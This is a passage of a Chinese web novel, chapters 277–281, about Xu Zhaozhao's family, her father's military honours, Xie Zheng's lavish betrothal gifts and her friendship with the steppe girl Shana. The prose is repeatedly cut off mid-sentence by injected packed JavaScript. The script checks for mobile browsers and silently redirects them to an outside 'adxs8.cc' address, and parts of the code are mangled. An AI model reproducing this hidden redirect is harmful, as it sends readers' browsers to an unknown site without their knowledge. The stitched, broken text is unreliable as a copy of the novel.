李明雅微微有些吃惊,但很快便附和道:“夫君说的是,妾一会儿便将人打发了。” “嗯,以后院子里的事你做主便好,等午后,我把院子里的大小管事都喊过来训话,以后就要麻烦你多上心了。” 李明雅心头一喜,夫君不仅没有生气,反而还直接就让她着手管院子了。 “是,夫君。” 许君霆没有再多说,急匆匆地往外走,显然是真的有正事要忙,全程他都没有多看跪在地上的丫环一眼。 这一幕,可以说是让丫环彻底地死了心。 “两条路,要么你就去我陪嫁的庄子上做事,要么,便是我将你发卖到外面的楼子里,你自己选吧。” 丫环还有什么不明白的? 当即就又是磕头又是认错,三言两语便将事情说清楚了。 李明雅也没想到,竟然是李明淑在背地里搞这些小动作。 李明雅只是心善,不是蠢。 她很快就想到了先前关于自己流言的那件事,十有八九,这其中也有李明淑的助力。 “来人,将人带到我的陪嫁庄子上,让管事看管严格一些,只要她表现后,回头我自会给她许一门婚事。” “是,小姐。” 有了李明雅这话,丫环反倒是心安了。 至少,她还是能清白嫁人的,不必担心自己余生烂在窑子里,这就已经很好了。 “小姐,奴婢瞧着她可不像是什么好人,您真就这般大方地饶过她?” “她只是一介奴婢,说到底,还是受人挑唆指使。” 李明雅话落后又道:“我既已嫁入侯府,日后你们便按府上的惯例来称呼我为三少夫人吧。” “是,三少夫人。” 许昭昭得知李明雅处置了那个丫环之后,便对她的印象提升不少。 至少不是一个烂好人。 另外,许君锋因为也获封男爵,所以少不得要宴客。 先前侯府已经摆过一回宴,这一回是许君锋自己在外面的酒楼里摆上几桌酒席,主要就是请他往日的那些好友们。 安和县主一个人,干脆就到紫园去找许昭昭了。 嫁进来这么久了,她可算是知道整个侯府里头,好吃的最多的地儿就是紫园了。 许昭昭正准备吃烤肉呢,见到她来了,即刻让人去多备一副碗筷,同时又让人去弄几个玉米,切成小段,打算一会儿烤嫰玉米吃。 安和县主之前吃过蒸的、吃过煮的,还是头一回听说,这玉米还能烤着吃? “二嫂不必如此大惊小怪,要论吃,咱们家里可没人能比得过多。而且我今日还做了新鲜的好东西,二嫂一会儿尝尝。” “什么?” “待会儿你就知道了。” 许昭昭命人拿磨盘碾出来了新鲜的玉米汁,之后再加热,做成了纯天然、无添加的鲜玉米汁,她还打算再试试里面是不是可以加牛乳或者是花茶之类的东西呢。 但是鲜榨的玉米汁口感就已经很好了,没有加糖,所以不会甜得发腻,入口很清新。 两人都只是拿那种比茶碗大不了多少的小碗吃,一人一小碗。 “这味道还真是不错。昭昭你这都是怎么想出来的?而且这烤玉米也好吃,又甜又咸的,我还想再吃一块呢。” “不急,等我把这玉米的吃食再多研究几道,咱们在府上弄一个玉米宴,定然惊艳众人。” 这玉米原本就是许昭昭得来的,但为了兄长,所以这功劳是直接记在许君霆头上的。 如今又弄出这么多的吃食来,自然也是有功的。 毕竟是新的农作物,很多人都只知道最简单的吃法。 比如说吃嫰玉米,再比如说将老玉米碾成渣或者是玉米面再煮着吃等等。 许昭昭若是能再开发出一些新的吃法,定然很快就会风靡京城。 “对了,四妹妹与方家的婚事进展到哪一步了?” 方亮这次也得了勋赏,而且又是正儿八经的武将了,这身份上倒是无可挑剔。 安和县主有此一问,也是因为外祖母那边有人也相中了许婉婉,托她来问,她不好拒绝,只能硬着头皮开口。 第277章 您还有很大的进步空间 许昭昭似乎并没有察觉到二嫂的用意,只是淡淡道:“我也不清楚,不过年前婶婶和方夫人就一直在商议此事,而且四妹妹和方大郎也是见过好几回了,虽然没有明说,但我瞧着他二人应当是有意的。” 安和县主闻言倒是松一口气。 她其实并不乐意让许婉婉嫁到外祖母家,不是瞧不起许婉婉,只是觉得她这般单纯的性子,真嫁过去了,只怕只有被人抽筋剥皮的份儿! 只能说许家的这个氛围太好了,没有那么多的勾心斗角,姑娘家又大多数时候只待在自己的闺房里,这眼里心里自然就会纯粹干净许多。 “我也见过方大郎几次,瞧着面相倒是憨憨的,与方大人有几分相似。” “嗯,上次听母亲说,好像是因为近来喜事不断,家中又是摆宴又是要开宗祠的,所以暂时顾不上。如今三哥三嫂成婚了,估计婶婶和方夫人就要正式商议此事了。” 安和县主点头,先前一段时间的确是太忙了。 而且后面还要再忙碌许昭昭和谢铮的婚事,今年侯府可真地是喜事连连。 “昭昭,你自己的婚事竟都不上心吗?” 许昭昭闻言一滞,随即无奈摇头:“其实成婚于否,我并没有觉得哪里不同。母亲还是我的母亲,侯府也还是我的家。若是谢家住得不如意了,我便仍回我的紫园来住。若是谢三郎那厮胆敢欺我,我便与其和离再嫁便是。” 大兴朝女子二嫁三嫁者不乏少数。 有些是因为丧夫而改嫁,有些则是因为在婆家受辱,娘家撑腰和离再嫁等等。 总之,大兴可没有什么烈妇那一说。 甚至于,年轻的寡妇若是不肯再嫁,官府还要出面游说,赶紧再寻个好郎君嫁过去生子,好为大兴繁衍后代,让大兴人丁兴旺。 安和县主闻言轻笑:“你这话若是被谢三郎听了去,估计要气得**了。” 许昭昭才不在意这些。 她活得自在自乐最为重要。 虽然谢三郎待她不错,而她也的确是对谢三郎动了几分真心,但若是在谢家住得不痛快,她可真不是那等为了爱情就放弃自己的恋爱脑。 所以,谁也别想来左右她的人生。 姑嫂二人聊了许久,又提到了父亲许翰此次立下战功,如今已是得封赏勋位:上护军! 这可是太显眼了。 在大兴,勋是一种荣耀性称号,主要用于表彰有功之臣。? “勋”的等级分为十二转,每个等级对应不同的官品。 例如,最高的“十二转”勋称为“上柱国”,相当于正二品官;最低的“七转”勋称为“武骑尉”,相当于从七品官。 现在许翰勋及上护军,再往上就是柱国、上柱国了。 目前整个大兴朝,也就只有陆晋一人在此次大战中被册封为上柱国。 在此之前,大兴不是没有上柱国,只是那位已逝,之后十余年,一直并无人能得封上柱国这样的荣耀。 许翰被赏赐为上护军,等同于三品官员,也就是说,许翰除了先前军中职位可以得一份俸禄之外,因为勋爵会再得一份属于正三品官员的俸禄。 都是钱呀! 安和县主小声道:“如今安王和忠王双方闹得不愉快,这争执几乎就要摆到明面儿上了。这次北征大胜,听闻已经有几位武将分别转投于安王和忠王麾下,只怕父亲这里,也要被人盯上的。” 安和县主到底是出身皇室,还是了解得多一些。 许昭昭深以为然,毕竟现在的侯府,权势可以说是堪比国公府了。 除了父亲这位侯爷以及大哥的世子爵之外,还有两位男爵,虽然爵位不主,但大小是份荣耀,由此便能看出未来许家之兴盛有望。 所以,必然会有不少人盯上侯府。 “二嫂的担心也有道理。不过你且宽心,父兄们都只是尽忠于皇上,若是想要站队,父亲就不会一直把官职往外推了。” 安和县主也知道这一点,但还是想要提醒一下,就是担心会有人使绊子。 高门大户的人家想要针对你,不一定是在官场上,极有可能是冲着你的内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15175638|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宅来的。 心中有数,早作提防,这才是正道。 许昭昭思及此次北征的种种,心中其实已经有了大概的猜测。 晚上,许昭昭和许翰在书房里一边手谈,一边提及朝堂武将。 “此次陆晋大人被册封为上柱国,可以说无论是爵还是勋,他都被封赏到头了,日后,不可能再率军出征。父亲,您觉得下一任顶替他的会是何人?” 许翰明白女儿的意思。 陆晋是安国公,还是兵部尚书,如今再加封上柱国,的确是已经封无可封。 所以,在这种情况下,只要大兴还有可用之将材,必然就不会再用他出征。 而且,若无意外,顶多再有两三年,他这兵部尚书的位置也得换人坐。 大兴的勋是为奖励功劳而赠予官员的一种荣誉称号。 爵位用在皇家宗室身上是**特权,用在大臣身上是为了奖励功臣。 一般来说,有大功者封爵,尤其多用于封赠开国功臣;有一般功劳需要奖赏时赠勋,如前朝初建勋制时所说的“以酬勤劳”,这是爵和勋的区别之一。 区别之二在于,得王、公、侯之爵位可以“食邑”,并可承袭;而勋位只是一种荣誉和地位的象征,最多也只是在服装和俸禄上有所体现。 勋与爵在待遇上的不同,可能正是勋位制度产生的原因。 因为得爵者的食邑人户只对他们纳粮,而不向国家缴纳赋税,如果得爵者过多,又可**,势必造成国家财政赋税的大量流失。 但有功者又不可不赏,于是赏赐一种地位象征意义的荣誉称号,自然就成了最高统治者的选择。 而陆晋,现在无论是勋、爵以及官职,都已经是封无可封,他若是不退,那么他的子孙们就别想更进一步。 所以,最多三年,陆晋必定要为了自己的儿孙们从朝堂上退下来,否则,便是阻了儿孙们的路。 许翰还没说话,许昭昭又道:“父亲,您还有进步空间,可别总想着摆烂摸鱼,咱们侯府可还需要您镇宅呢。” 第278章 怎么会让毛头小子去戍边? 许翰一听这话就不乐意了。 他这个**欲不重,再加上自小就长在这贵族圈子里,几岁便开始接触皇权的核心人物,自然知道这权利争斗的残酷。 所以,这些年不管皇上怎么说,他都不愿意在兵部领职,只当自己的大将军挺好的。 “没必要!你大哥行事稳重,二哥在战场上勇猛有谋,你三哥近来又一直很得皇上器重,咱们家已经很不错了。昭昭,你现在还是个有实封的安乐县主呢,比好多皇亲的县主都更有实力,没必要总想着去弄权。” 许昭昭挑挑眉:“父亲,女儿权欲心不重,没这方面的想法。女儿只是觉得咱们大兴朝的皇上圣明,而且如今圣上又正值春秋鼎盛之际,您若是能多立立功,咱们家也能多些底气不是!” 许翰都被她这番说辞给气乐了。 “你这丫头,就是想着日后万一闯祸了,能让你爹我拿功劳来捞你,是吧?” “嘿嘿,倒也没有那么夸张。而且我知道父亲是什么人,此次北征大胜,但是我大兴的边关仍然还有诸多不稳因素。日后皇上必然不会再派陆晋伯父出征了,您说接下来要顶替他的人会是谁?” 许翰一噎,好像还真是这么个理儿。 陆晋现在已经升无可升,兵部尚书、国公爷、十二转勋策的上柱国了,再往上升,就是异姓王,那可太危险了。 而且陛下应该也不会给他这样的机会了。 只要陆家人不作死,那么至少可以再保陆家几十年兴盛没有问题。 “我大兴朝人才济济,武将更是年年都有出彩的。轮不到我。” “您的意思是谢伯父?” “那不行!” 许翰摇头,他知道谢啸林为何一直镇守边关,除了因为他本身的能力之外,他也是想要让陛下放心。 这么多年冀州城外一直安稳,而且谢铮在的时候,还强行往外推进了近百里,将大兴的国土硬生生给扩出来那么多,可见这父子俩都是天生的武将。 “谢铮这次立下的功劳也不小,只是他如今有世子位,所以圣上赏的也只是勋,再就是一些财物。我估摸着,今年底你那个未来公爹就得上折子乞骸骨了。” 一个家族可以兴盛,但不能太兴盛。 可以人才辈出,但不能出得太频繁又太密集了。 好在,谢家除了谢啸林和谢铮这对父子之外,余下的人于武将一途中都表现平平。 若不然,才是真的叫糟。 “有这么严重?”许昭昭觉得圣上不是那等小心眼儿之人,若是谢啸林回京,那冀州城谁来守? “你想多了。” 许翰轻点了一下闺女的额头。 这个闺女什么都好,又聪慧又贴心,可就是太聪慧了,有时候难免就会把事情给左了。 “圣上不会对这些武将们生疑心,他只是单纯地想要大力培养一些年轻的武将。我大兴如今能这般兴盛,四方来朝,靠的自然就是文臣武将齐心协力为大兴做事,武将不能断代。若是日后大兴只有两三位可担当重任的武将,那才要糟。” 许昭昭这才恍然大悟。 不是圣上对谢家起了防备心,而是单纯地需要培养一些年轻人。 正好谢铮成亲,谢啸林在冀州那边待的时间也不短了,按制也该轮转。 谢啸林立功无数,再加上身上有旧伤,所以想要调任回京当个闲官,也是很正常的事。 许昭昭脑子还是很好使的,这么一琢磨,便明白了。 谢啸林会乞骸骨,但圣上一定不会允,应该会把人留在京城,赐个闲职,既有俸禄拿,又体面,还能阖家团圆的同时,又可以安排人给谢啸林好好调养身体,体现他这个君王的仁善惜才,同时,还可以着手培养谢铮,以此来表明圣上的宽阔胸怀,这是一箭好几雕呀。 难怪人家是皇上呢。 许昭昭撅嘴,总觉得在**权谋方面,自己这回是差了好几级。 果然,不能小看任何一个人,尤其是古人,这随便的一位文臣拉出来,就得长了好几个心眼子。 至于上位者的永安帝,那就更不用说了。 唉,自己果然 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许翰气得隔空点她两下后,也实在想不出什么法子威胁这丫头,只得作罢。 “父亲,我不想让谢铮去驻边,你觉得朝廷会安排他去吗?” “放心,暂时不会。” “你怎么这么肯定?” “你以为圣上是什么人?你以为满朝文武又都是什么人?谢铮就算是和你成亲了,在你没有诞下儿子之前,圣上都不会将他调去边关。而且咱们大兴又不是没有武将了,怎么会突然启用一个毛头小子去戍边!” 许昭昭被他这么一说,好像真明白了。 所以说,古代的武将也不是谁都可以上战场的。 也对,毕竟现在是兴盛的大兴,而不是她以为的那些不济事的几个重文轻武的朝代。 所以,大兴的皇帝陛下还是很仁善且知道如何培养将材、保护且利用将材的。 “那就行,我就是不想他离京。” 第279章 纳征 许昭昭和许翰这么交流一通之后,大概就知道日后的生活会是什么样了。 短时间内,谢铮只会留在京中。 但是对于升职,应该还是要靠功劳去换。 所以,兴许明年,她的公爹就会调回来,届时,谢家也不知道会是个什么情形。 许昭昭其实没有想太多呢,她的婚事就被提上日程了。 因为婚期将至,所以许昭昭被勒令在家,不许再随意出门了。 护国公府,也就是谢家,已经差人送来了聘礼,那可是丰厚得有些吓人。 未来夫家使人来下聘,这是再正常不过一件事,谢铮还是亲自来的。 除了谢铮,还有谢铮的二叔二婶一起陪同,足见对未来新妇的重视。 侯府这边也请了几位长辈一起,这也算是一种礼节。 许琳看着那么多的聘礼,是真的酸了。 “这也太多了。之前君霆给李将军府下聘,也没有这么多,便是给安和县主下聘时,也差了不少吧?” 老夫人对此很满意,男方的聘礼多,足见对未来新妇的看重。 “你少说话!那能一样吗?老大家是三个儿子,要娶三房媳妇,但是护国公只有这么一个儿子,也只娶这一回,所以这聘礼重一些,自然也是说得过去的。” 许琳撇嘴:“娘,这也行?再说谢啸林虽然只有一个儿子,但是谢家的郎君们可不少,先前谢大郎、二郎他们成婚时,可没有这么多的聘礼,我估摸着那两房加起来都没有这一回多。” 老夫人气得伸手掐她一下:“不会说话就闭嘴!” 如果不是因为今天是好日子,老夫人真不想让她来,可她又是昭昭唯一的亲姑姑,若是不来,唯恐外面又要说闲话。 真让许琳来了,这嘴上又没一个把门儿的,听着就气人。 许琳知道老夫人生气了,微微撇嘴,暂时不吭声了。 不得不说,谢铮下聘这动静的确是大。 许昭昭是隐在后面的,外面的宾客看不到她。 但是看到只是下聘就有这么大的阵仗,她也是震惊的。 而且,她是亲眼见过家里给两位嫂嫂下聘的,谢铮送来的东西的确是太多了,那礼单都那么老长,拖地了。 还有那么多的红木箱子,上面绑着大红花,这都要把整个前院给堆满了。 这一刻,让许昭昭对古人的婚礼好像是有了一个更深刻的认知。 毕竟之前成亲的不是她,所以不是很在意。 可现在自己亲眼看,总会有几分不一样。 古人对于婚礼和婚姻十分重视,认为它对上以事奉宗庙祖先,对下以继承后世,即延续香火,繁殖后代,因此君子十分重视它。 许昭昭想到之前看的那些关于礼仪的书,还没成亲呢,就觉得累。 她觉得太麻烦了。 但王若兰对此的解释倒是十分到位。 “婚礼中许多繁文缛节就是为了突出婚礼的庄敬隆重,以强调婚礼的重要。此礼之大体也。多少人都盼着自己的婚礼能办得隆重气派,怎么到了你这里,反倒是嫌弃上了?我看你就是个不知好歹的东西!” 许昭昭想到昨晚母亲对她的指责,不由得缩缩脖子,她可不想再被母亲训导了。 还是老实些吧。 今日下聘,其实应该说叫纳征。 纳征,是古代婚礼“六礼”之四,古代汉族婚姻风俗。即男家纳吉往女家送聘礼,所以也被人唤作下聘。 《礼记·士昏礼》孔颖达疏:“纳征者,纳聘财也。征,成也。先纳聘财而后婚成。” 经此仪礼婚约完全成立。 换言之,若是没有纳征这一项,便没有后面的六礼中五、六了。 权贵之家,更是特别在意纳征。 纳征重在形式,而不在于数量,在诸多长辈们看来,纳征的完成标志着订婚阶段的结束,是婚姻成立的主要标志之一。 这也就是为什么有些未婚夫妻,明明未曾举行婚礼,但是在男方死后,女子却要为男子守丧,便是因为过了纳征这一项,就意味着女子已经是男方的人了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178447|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽说纳征只是形式,不介意聘礼的数量和财物,但实际上,哪家人不愿意自己的女儿得到男方丰厚的聘礼? 因为聘礼越丰厚,便意味着女子在未来夫家的地位越高,越得长辈们看重。 这也是为什么,许琳等人会那么酸了。 其实,在朝廷律法之中,对于聘礼也是做了明确规定的。 若是婚礼双方的人家世不足、或者是品级不够,那聘礼自然就会是少的。 但谢铮和许昭昭二人身份都不一般,再加上谢铮是独子,要娶的又是县主,所以这聘礼隆重一些才是正常。 “天哪,谢三郎竟然专门去捉了雁来,可见是对小姐有多上心了。” 自前朝后,大雁变得越来越少,人们也不好捕捉,于是后来以鹅代雁,称为“雁鹅”。 包括许家三位郎君成亲时,用的都是雁鹅。 而现在这聘礼中出现了真正的大雁,自然引得不少人围观。 实在是太多年没有见过真正的大雁做聘礼了。 连王若兰和许翰都觉得稀奇,这谢铮实在是有两下子。 李氏站在王若兰旁边,一脸欣慰:“这谢三郎是个好的,愿意下这样大的力气去捉雁,可见是真地将咱们昭昭放在心尖儿上了。大嫂好福气,咱们昭昭也好福气,能觅得如意郎君,大嫂日后便只等着享清福吧。” 王若兰也高兴。 毕竟谢三郎一直表现得都是很在意昭昭,但是这一回,真正做出来,还是不一样的。 聘礼的抬数看似好像没有逾制,但是实际上,却是将好几样东西都攒到一个箱子里,要不然,礼部那边定然会来揪小辫子,御史也会**谢家的。 比如说那珍珠,有的人家聘礼不够,便特意将珍珠按等级分成几个小匣子,再分别装箱,以此来彰显聘礼数量之多。 但是谢家则是反过来了,那一整箱子里全是珍珠,而且选的都是好的,只是用小匣子将珍珠的颜色、个头等做了分类。 这要是换成其它人家,不装四五个箱子,都觉得亏了! 第280章 情敌相见 纳征之后,便是请期。 其实两家早已在暗中互相看过日子了,但是因为之前在外征战,所以一直不曾定下。 这一次定下后,便只剩下迎亲了。 请期,是婚礼“六礼”之五,俗称送日头或称提日,即由男家择定结婚佳期,用红笺书写男女生庚,由媒妁携往女家,和女家主人商量迎娶的日期。 请期,一般男方是不会来的,是由媒人从中调和。 其实这日子是两家早已商量好的,不过就是走个过场而已。 请期之后,便是迎亲了。 走完这一步,王若兰和许翰夫妻俩心中都有些不是滋味。 正式定下婚期,就意味着他们女儿离府的日子近了。 “聘礼都让昭昭带过去,咱们家什么也不要。” “嗯。”王若兰的兴致也不高,只闷闷应了一声。 “咱们家准备的嫁妆怎么样了?可还有不曾做完的?” “除了婚服,基本上都妥了。绣娘那边也在根据昭昭的尺寸改呢。” 寻常人家,一般这婚服都是自己绣。 但像许昭昭这样的身份,自然是没必要。 但还是要走个过场,所以许昭昭还是随手拿起针线,简单绣上几下,便算是自己也参与了绣婚服这件事。 “唉,这孩子手里头不缺钱,但是个爱折腾的,我寻思着要不多给她几个陪嫁庄子,少给她些银钱呢?” “都行。” 王若兰说完,又觉得不妥:“侯府这边的就别动了。我当初的陪嫁庄子和商铺都不少,我来安排吧。” 这种事,其实就是拿地契和房契出来就行,其它的都简单。 许翰还是觉得对不住女儿,总觉得女儿吃亏了,好像给多少陪嫁都不够。 “那要不咱们一会儿再去库房里挑挑有什么稀罕物件,都给闺女当嫁妆?” “行吧,去看看。” 侯府的库房自然是分了公中的库房和各房的库房的。 光是王若兰手上管着的,除了公中库房之外,还有他们这一房的私库,另外还有王若兰自己的私库。 两人挑挑拣拣,看到什么都觉得应该给闺女,这架势,是恨不能将库房里的东西都给许昭昭当嫁妆了。 好在许昭昭听到消息之后赶过来了,好好劝了劝二位,总算是不再给她添妆,要不然,她是真怕她出嫁再把侯府给折腾穷了。 许昭昭不可以出去,但是别人可以进来呀。 “昭昭,你别生气啊。我也是没办法了,他们虽然是降军,但是圣上很看重他们,又是赐官又是赐钱的。我父王母妃也让我尽量地跟她搞好关系,不要再惹得边关不稳。她找了我好几次,上回纳征时,她便想来,是我担心她再坏了事,所以拒绝了。 可这一回我实在是拒绝不了,这才贸然登门,昭昭,你可得信我,我是一定站在你这边的。” 乐阳郡主一边说,一边可怜巴巴地盯着许昭昭,就怕再惹她不高兴了。 这几年她跟着许昭昭在一块,可是没少挣银钱,而且她在家中的地位也明显比以往要更优越一些。 便是她的嫂嫂们在她面前也一直都是客客气气的,她知道,这都是沾了许昭昭的光。 别看某些人总爱说一些看不起铜臭之物的酸话,实际上,谁不乐意手里头银钱大把,随便花用? 尤其是她们这些女子,又不能做官,基本上没有什么稳定的进项。 虽然她的嫂嫂们都有不少陪嫁,可关键是这外面的铺面田产等等,她们未必都精通。 所以,手里头的银钱自然是不及乐阳郡主手里的丰厚。 关键乐阳郡主还有一份儿俸禄呢。 “行了,不是什么大事,既然来了便是客,我会好好招待的。” 得了准话,乐阳郡主总算是松口气。 她是真怕许昭昭生气呀。 北征大胜,苏哈尔部落虽然是被谢铮和许君锋给打降了,但后来苏哈尔部落全力配合大兴军队,又用极快的速度突击了另外两大部落。 所以,永安帝对苏哈尔部落自然也是要有封赏的。 苏哈尔部落的酋长额尔登被册封为燕然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187733|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都督府都督,这燕然都督府是刚建的,以前没有。 因为以前这里并不完全属于大兴,应该算是大兴与草原的交界处,如今大兴完胜,所以彻底划入大兴的版图,而燕然都督府就此成立,额尔登被册封为都督,这个权利,不可谓不大。 但是燕然都督府归安北都护府管辖,同时,朝廷也会派出其它的文臣武将,尤其是御史、长史等等,那是必然有的。 这些人的存在,就是为了监督并且辅助额尔登的治理。 莎娜是额尔登的嫡女,额尔登的妻妾有很多,孩子们也很多,但是他因为喜欢大兴,自然也就喜欢中原文化,所以很看重嫡庶。 而嫡女,只有莎娜一个,自然就对她颇为宠爱。 额尔登已经先一步带人去了燕然都督府任职,莎娜和她的几位兄长暂时留在京城。 朝廷的官方说法,就是想让他们都好好学习一下大兴的礼仪,以及大兴的文化,但是也有人以为这就是在变相地控制额尔登,想要将额尔登最重视的子女留在京城。 对此,额尔登倒是没有这么多的想法。 因为大兴的皇帝陛下给他们在京城赐下了宅院,他的妻子随他一起去赴任,留在京城负责打理这一切的,便是他的嫡长子乌尔汉。 莎娜喜欢谢铮,但是她也知道谢铮有了未婚妻,而且前些日子闹得沸沸扬扬的纳征,也让她对许昭昭的好奇心上升到了顶峰。 如果不见见她,总觉得不甘。 莎娜并不是想要把谢铮抢过来,她只是想要弄明白,自己到底输在了什么地方。 坦白说,莎娜是一个很任性,也很霸道的姑娘。 如果是在草原上,那她一定会直接下**男人。 但这里是大兴的京城,她不敢,也不能。 莎娜还是穿着她以前的民族服饰,当她被请进来,看到端坐在正中央的那位姑娘时,一时间竟也迷迹得挪不开眼了。 没有人告诉过她,许昭昭是个大美人呀! 莎娜在屋内站定,然后语气微傲:“你就是谢铮哥哥的未婚妻吗?” 第281章 添妆 许昭昭顺着声音望去,微微一笑:“你是莎娜姑娘?” “我是。我听说你就要和谢铮哥哥成亲了?” “对,我想整个京城的人应该都知道了。” 那天纳征的场面那么大,她是真不信还有人不知道谢、许两家的婚事。 “嗯,你很漂亮,而且你的眼睛很亮,用谢铮哥哥的话说,就是充满了智慧。” 许昭昭笑了,她原以为会来一个刁蛮任性的小姑娘对自己放大话。 没想到,竟然是这么一个局面。 “莎娜姑娘来京生活还习惯吗?” 许昭昭一边说,一边做了一个请的动作。 莎娜坐下后,又转过脸来继续盯着许昭昭看:“离得近了,发现你更好看了。” 许昭昭这次笑出声来:“是吗?真的是谢谢你的夸奖。” 莎娜的眼睛一亮:“你跟她们不一样!” “哦?怎么说?” “我夸别人漂亮或者是好的时候,他们的反应都很怪,哦,用你们中原人的话说,就是谦虚,但我觉得很奇怪。我们草原上的人都很直爽,不会拐弯抹角地说话。你不一样,我夸你,你跟我说谢谢,这就很好。” 许昭昭突然觉得心情大好,跟一个这样真爽又美丽的姑娘一起说话,也挺有意思的。 “你觉得我好,可是你喜欢谢铮,我就要嫁给谢铮了,你还觉得我好吗?” 这个问题若是换了其它的姑娘,兴许会有几分纠结,或者是回答的有些虚伪。 但莎娜不一样。 “你好就是好,跟你要不要嫁给谢铮哥哥有什么关系?” 许昭昭挑眉,这姑娘还挺有意思的。 “我今年十五,你多大?” 许昭昭回道:“我比你大两岁,你当唤我一声姐姐。” “哦,好吧,那我叫昭昭姐姐可以吗?” “随意。” “这是什么?”莎娜的注意力很快就被一旁的吃食给吸引过去了。 草原上的农作物少,而且精通烹饪的就更少了。 所以,莎娜来到京城之后,逛的最多的地方就是那些酒楼食肆。 “这是膳房刚刚做出来的栗子糕,味道不错,你尝尝。” 许昭昭说着,又给她倒了一杯普通的红茶。 “可以配着这个茶吃。” 莎娜一点戒备心都没有,就按她说的法子来吃,发现真地是很好吃。 “这是你做的吗?” “不算是,我只是提供了一个思路,然后交给府上的厨娘来做的。” “你真厉害。我们草原上没有这种东西。” “我听说你还有几个哥哥留在了京城,一会儿我让人给你装一盒带回去,也请他们尝尝。” “真的吗?”莎娜一下子兴奋起来:“你真好!谢谢你。” “不用客气,我们也算是认识了,以后如果无聊了,也可以过来找我玩。” “可是你不会嫌我烦吗?” 许昭昭一手支着额头,笑问:“为何会嫌你烦呢?” 莎娜歪歪头,一脸不满道:“很多人都觉得我这也不懂,那也不会,是给女子丢脸的。虽然大家在一起对饮,但是我能看得出来,她们并不喜欢我,甚至还瞧不起我。” 许昭昭勾唇,这姑娘的性子直,但是很心细,观察入微呀,而且看得出来,她应该是一个很敏感的人。 “谁规定女子就得像她们那样活着了?你还是见的人太少,等你以后在这里长住,见的人多了,自然就能分辨出来,并非是所有人都同她们一样的。” 莎娜眨眨眼:“真的吗?” 许昭昭点头:“你很可爱,草原上的明珠,果然不是白叫的!” 意外的,莎娜竟然脸红了。 莎娜的肤色有些黑,是那种健康的小麦色,但是对于现在这个社会的审美而言,那就是肤色不好,太黑了。 可若是和那种成天在外作训的武将们站在一起,好像又很般配。 “这里有一包红茶,我也送给你了。你的兄长若是不放心,可以请大夫来看看,这红茶是我们特意从南诏那边运过来的,量很少。” “我知道的。谢谢你,你是一个很好的人。我来的时候,原本还想着如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187734|164271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果你跟其它的姑娘一样瞧不起我,而且也一脸高傲的话,那我一定想办法把谢铮哥哥从你手上抢过来。可是真的见到你了,发现你跟她们不一样,你美丽大方,而且还很善良。所以我决定就不跟你抢谢铮哥哥了。” 许昭昭扑哧一笑,一旁的乐阳郡主则是直接怼上一句:“呿,说的好像你要抢就能抢得过一样。谁不知道谢三郎只能昭昭妹妹上心!” 许昭昭轻笑,莎娜的脸更黑了几分,狠狠一眼瞪过去,没想到乐阳郡主也笑了。 最后,三个姑娘面面相觑,竟是齐齐笑起来了。 谁也没想到,莎娜竟然会和许昭昭成为朋友。 这有点儿匪夷所思。 但就是事实。 自那天之后,莎娜就经常去找许昭昭说话,其实主要就是来这里蹭吃蹭喝,甚至都不需要让乐阳郡主陪同了,她自己就来了。 “昭昭姐姐,你看,这是我给你带的礼物。哦也不对,用你们这里的话说,就是我来给你添妆了。” 许昭昭有些好奇:“是什么?” “这是我们草原上的好东西,很珍贵的一种药材。” 丁香上前将箱子打开,里面竟是摆满了各种的小盒子。 “你看,这是人参,你应该认识的。这个你就不一定认识了。” 莎娜打开一个盒子,里面的东西露出来之后,许昭昭真的是有几分吃惊:“冬虫夏草?” 沙娜表现得很吃惊:“你竟然认得?不过我们那里叫冬虫草,是很珍贵的药材。” “嗯,这个我知道。你们那里长这个?” 莎娜摇头:“我们那片草原没有,这是去年我阿爹手下的人去吐蕃时带回来的,据说吐蕃有很多的冬虫草。” 难怪呢。 许昭昭就觉得这东西不可能是在大草原上随处可见的。 “谢谢你给我带来的这些礼物,但是我觉得你只需要留下一样就可以了,没必要送这么多。” 